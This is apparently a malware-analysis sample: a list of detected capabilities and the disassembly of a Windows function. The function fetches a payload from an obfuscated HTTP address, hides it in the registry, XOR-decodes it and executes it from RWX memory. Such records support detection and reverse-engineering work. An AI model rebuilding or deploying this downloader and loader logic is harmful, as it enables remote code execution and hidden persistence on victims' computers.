Function at 0x140001010
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create http request
Encode data using xor
Query or enumerate registry value
Read data from internet
Receive data
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
push rbp
push rdi
push r12
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
mov ecx, 0x64000
mov qword [rax + 0x10], r15
mov dword [rbp - 0x19], 0x740068
xor r12d, r12d
mov dword [rbp - 0x15], 0x700074
mov dword [rbp - 0x11], 0x2f003a
mov dword [rbp - 0xd], 0x74002f
mov dword [rbp - 9], 0x310038
mov dword [rbp - 5], 0x6f002e
mov dword [rbp - 1], 0x65006e
mov dword [rbp + 3], 0x77002f
mov dword [rbp + 7], 0x2f006a
mov dword [rbp + 0xb], 0x320031
mov dword [rbp + 0xf], 0x2e0033
mov dword [rbp + 0x13], 0x6e0069
mov dword [rbp + 0x17], 0x69
call fcn.1400013e8
xor r9d, r9d
mov dword [rbp - 0x29], 1
xor r8d, r8d
mov dword [rsp + 0x20], r12d
xor edx, edx
lea rcx, str.RookIE_1.0
mov rsi, rax
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r15, rax
test rax, rax
je 0x14000121b
mov qword [rsp + 0x28], r12
lea rdx, [rbp - 0x19]
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov qword [rsp + 0xe0], r14
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r14, rax
test rax, rax
je 0x14000120a
mov qword [rsp + 0x40], r12
lea rax, [rbp - 0x21]
mov qword [rsp + 0x38], rax
lea rdx, str.Console
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], r12d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140001201
mov edi, r12d
mov ebx, r12d
cmp dword [rbp - 0x29], r12d
jbe 0x1400011d4
nop dword [rax]
mov r8d, 0x64000
mov edx, ebx
sub r8d, ebx
lea r9, [rbp - 0x29]
add rdx, rsi
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rbp - 0x29]
test eax, eax
je 0x1400011ab
add ebx, eax
cmp ebx, 0x64000
jne 0x1400011a7
mov rcx, qword [rbp - 0x21]
lea rdx, [0x1400168c0]
mov dword [rsp + 0x28], ebx
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [rbp - 0x29]
add edi, ebx
mov ebx, r12d
test eax, eax
jne 0x140001150
test ebx, ebx
je 0x1400011d4
mov rcx, qword [rbp - 0x21]
lea rdx, [0x1400168c0]
mov dword [rsp + 0x28], ebx
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add edi, ebx
mov rcx, qword [rbp - 0x21]
lea rdx, [0x1400168c0]
mov dword [rsp + 0x28], edi
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x21]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r14, qword [rsp + 0xe0]
mov rcx, rsi
call fcn.1400013e0
movzx eax, word [0x140016888]
lea rdx, str.Console
movsd xmm0, qword [0x140016880]
mov r9d, 0x20019
mov word [rbp + 0x27], ax
xor r8d, r8d
lea rax, [rbp - 0x21]
movsd qword [rbp + 0x1f], xmm0
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp - 0x21]
lea rax, [rbp - 0x29]
mov qword [rsp + 0x28], rax
lea rdx, [rbp + 0x1f]
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor r8d, r8d
mov dword [rbp - 0x29], r12d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rbp - 0x29]
call fcn.1400013e8
mov rcx, qword [rbp - 0x21]
lea rdx, [rbp + 0x1f]
mov rdi, rax
xor r9d, r9d
lea rax, [rbp - 0x29]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rbp - 0x29]
call fcn.1400013e8
mov ebx, dword [rbp - 0x29]
mov rsi, rax
mov r15, qword [rsp + 0xe8]
test ebx, ebx
je 0x1400012f7
mov rdx, rax
sub rdi, rax
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [rdi + rdx]
mov byte [rdx], cl
inc rdx
mov ebx, dword [rbp - 0x29]
mov rcx, rdx
sub rcx, rsi
cmp rcx, rbx
jb 0x1400012e0
mov rcx, qword [rbp - 0x21]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, 0xffffffffffffffff
lea rdi, str.360dsb
nop word [rax + rax]
inc r8
cmp byte [rdi + r8], r12b
jne 0x140001320
mov r11d, r12d
test ebx, ebx
je 0x140001385
mov r9, r12
mov r10, rsi
nop word [rax + rax]
movsx ecx, byte [r9 + rdi]
lea r10, [r10 + 1]
mov eax, 0x4ac525d3
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x6d9
sub ecx, eax
mov eax, r11d
cdq
add cl, 0x4f
xor byte [r10 - 1], cl
inc r11d
idiv r8d
lea rax, [r9 + 1]
mov r9, r12
test edx, edx
cmovne r9, rax
cmp r11d, ebx
jb 0x140001340
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rbx
mov rdx, rsi
mov rcx, rax
mov rdi, rax
call fcn.140003270
lea r9, [rbp + 0x37]
mov qword [rbp + 0x2f], r12
xor r8d, r8d
lea rcx, [rbp + 0x2f]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_InitOnceExecuteOnce]
lea r11, [rsp + 0xc0]
xor eax, eax
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret